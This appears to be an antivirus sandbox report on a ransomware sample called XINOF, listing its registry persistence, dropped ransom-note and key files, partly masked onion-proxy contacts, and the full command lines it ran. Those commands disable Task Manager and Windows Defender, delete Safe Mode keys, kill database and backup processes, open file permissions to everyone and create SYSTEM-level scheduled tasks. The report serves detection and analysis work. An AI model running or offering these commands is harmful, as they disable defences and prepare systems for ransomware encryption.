Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\fonix
- %APPDATA%\microsoft\windows\start menu\programs\startup\xinof.exe
- <SYSTEM32>\tasks\fonix11
- <SYSTEM32>\tasks\fonix10
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
- Windows Defender
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /t /im veeam*
- '<SYSTEM32>\taskkill.exe' /t /f /im sql*
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\xinof.exe
- %ALLUSERSPROFILE%\boottime
- %HOMEPATH%\desktop\how to decrypt files.hta
- %HOMEPATH%\desktop\cpriv.key
- %ALLUSERSPROFILE%\help.txt
- %ALLUSERSPROFILE%\how to decrypt files.hta
- %ALLUSERSPROFILE%\xinofalert.png
- %ALLUSERSPROFILE%\os
- %ALLUSERSPROFILE%\xinoflogo.png
- <Current directory>\systemid
- %ALLUSERSPROFILE%\cpriv.key
- %ALLUSERSPROFILE%\cpub.key
- <Current directory>\cpub.key
- <Current directory>\cpriv.key
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\xinof.exe
- %ALLUSERSPROFILE%\systemid
- %ALLUSERSPROFILE%\hostname
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\xinof.exe
- %ALLUSERSPROFILE%\xinof.exe
Deletes the following files
- %ALLUSERSPROFILE%\boottime
- %ALLUSERSPROFILE%\os
- %ALLUSERSPROFILE%\hostname
Creates ransom message files (Trojan.Encoder).
Network activity
Connects to
- '<LOCALNET>.13.1':445
- '<LOCALNET>.13.1':139
- 'wh#.int':443
- 'ip##pi.com':80
- 'tm######5twd3wed.onion.pet':80
- 'wj################zhnso56bin6bnvsxcbwbfcuvzpc4vcixbywlid.onion.pet':80
TCP
HTTP POST requests
- http://wj#################hnso56bin6bnvsxcbwbfcuvzpc4vcixbywlid.onion.pet:80/fhttpb/get.php
UDP
- DNS ASK wh#.int
- DNS ASK ip##pi.com
- DNS ASK tm######5twd3wed.onion.pet
- DNS ASK wj################zhnso56bin6bnvsxcbwbfcuvzpc4vcixbywlid.onion.pet
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '<SYSTEM32>\cmd.exe' /c chcp 437
- '<SYSTEM32>\cmd.exe' /c start cmd.exe /c taskkill /t /f /im sql* && taskkill /f /t /im veeam* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM Microsoft.Exchange* && taskkill /F /T /IM pvx* && taskkill /F /T...
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c taskkill /t /f /im sql*
- '<SYSTEM32>\cmd.exe' /c Copy Cpriv.key %ALLUSERSPROFILE%\Cpriv.key
- '<SYSTEM32>\cmd.exe' /c Copy Cpub.key %ALLUSERSPROFILE%\Cpub.key
- '<SYSTEM32>\cmd.exe' /c Copy SystemID %ALLUSERSPROFILE%\SystemID
- '<SYSTEM32>\cmd.exe' /c Copy %ALLUSERSPROFILE%\Cpriv.key %userprofile%\Desktop\Cpriv.key
- '<SYSTEM32>\icacls.exe' * /grant Everyone:(OI)(CI)F /T /C /Q
- '<SYSTEM32>\cmd.exe' /c Copy "%ALLUSERSPROFILE%\How To Decrypt Files.hta" "%userprofile%\Desktop\How To Decrypt Files.hta"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\wbem\wmic.exe' /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
- '<SYSTEM32>\cmd.exe' /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
- '<SYSTEM32>\reg.exe' delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
- '<SYSTEM32>\cmd.exe' /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
- '<SYSTEM32>\reg.exe' delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
- '<SYSTEM32>\cmd.exe' /c wmic OS Get LastBootUpTime >>%ALLUSERSPROFILE%\BootTime
- '<SYSTEM32>\wbem\wmic.exe' OS Get LastBootUpTime
- '<SYSTEM32>\cmd.exe' /c wmic os get Caption /value >>%ALLUSERSPROFILE%\OS
- '<SYSTEM32>\wbem\wmic.exe' os get Caption /value
- '<SYSTEM32>\cmd.exe' /c hostname>>%ALLUSERSPROFILE%\HostName
- '<SYSTEM32>\hostname.exe'
- '<SYSTEM32>\cmd.exe' /c WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | findstr /b dis >>%ALLUSERSPROFILE%\AV
- '<SYSTEM32>\cmd.exe' /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\chcp.com' 437
- '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /RU SYSTEM /RL HIGHEST /F
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /RU SYSTEM /RL HIGHEST /F
- '<SYSTEM32>\cmd.exe' /c copy %ALLUSERSPROFILE%\XINOF.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '<SYSTEM32>\cmd.exe' /c copy %ALLUSERSPROFILE%\XINOF.exe "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /F
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /F
- '<SYSTEM32>\cmd.exe' /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '<SYSTEM32>\attrib.exe' +h +s "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\attrib.exe' +h +s %ALLUSERSPROFILE%\XINOF.exe
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix11 /TR "<Full path to file>" /RU SYSTEM /RL HIGHEST /F
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN fonix11 /TR "<Full path to file>" /RU SYSTEM /RL HIGHEST /F
- '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix10 /TR "<Full path to file>" /F
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN fonix10 /TR "<Full path to file>" /F
- '<SYSTEM32>\cmd.exe' /c attrib +h +s XINOF.exe
- '<SYSTEM32>\attrib.exe' +h +s XINOF.exe
- '<SYSTEM32>\cmd.exe' /c attrib +h +s %ALLUSERSPROFILE%\XINOF.exe
- '<SYSTEM32>\cmd.exe' /c start cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
- '<SYSTEM32>\findstr.exe' /b dis
